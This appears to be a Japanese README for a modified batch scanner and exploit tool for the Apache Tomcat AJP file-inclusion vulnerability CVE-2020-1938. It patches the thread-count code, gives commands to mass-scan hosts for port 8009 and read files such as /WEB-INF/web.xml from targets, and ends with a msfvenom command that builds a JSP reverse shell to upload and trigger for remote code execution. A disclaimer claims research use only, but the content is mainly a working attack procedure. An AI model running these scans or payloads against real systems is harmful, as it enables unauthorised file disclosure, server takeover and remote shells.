
CVE-2020-1938 / CNVD-2020-1048 検出ツール
本ツールはセキュリティ研究および内部確認専用です。不正な攻撃に使用することは禁止されており、生じた結果は使用者が負うものとします。
Apache Tomcatファイルインクルード脆弱性(CVE-2020-1938 / CNVD-2020-1048)の一括検出ツール。
このプロジェクトはKit4yのプロジェクトをベースに修正を加えたものです。
ip.txtにドメインまたはIPが1つしかない場合、threadCountが1になりプログラムが実際に実行されないため、スレッド数を判定するコードを追加しました。
...
if threadCount == 1:
threadCount = 2
for i in range(0,threadCount-1):
...
self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))
if sys.version_info < (3, 0):
self.stream = self.socket.makefile("rb", bufsize=0)
else:
self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
print("".join([d.data for d in data]))
else:
print(b"".join([d.data for d in data]).decode("UTF-8"))
1. スキャンするドメイン/IPをip.txtに配置します。例:
127.0.0.1 www.baidu.com www.google.com
2. python threading-find-port-8009.py
ip.txt内のドメイン/IPをスキャンして8009ポートが開放されているものを探し、生成された8009.txtに保存します。
3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py
8009.txtから脆弱性のあるURLをフィルタリングし、vul.txtに保存します。最終的にvul.txtに存在するドメインが脆弱性を含むドメインです。
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128
python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128
デフォルトではwebappsのROOTを読み取ります。“/asdf”を“/test/asdf”に変更することでwebapps下のtestディレクトリの内容にアクセスできます。
t.perform_request('/asdf',attributes=[
サーバーにファイルアップロード脆弱性が同時に存在する場合、以下のshell.txtをアップロードします。
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
“/asdf”を“/asdf.jsp”に変更し、MSFを起動した後にPoCツールを使用してシェルを取得できます。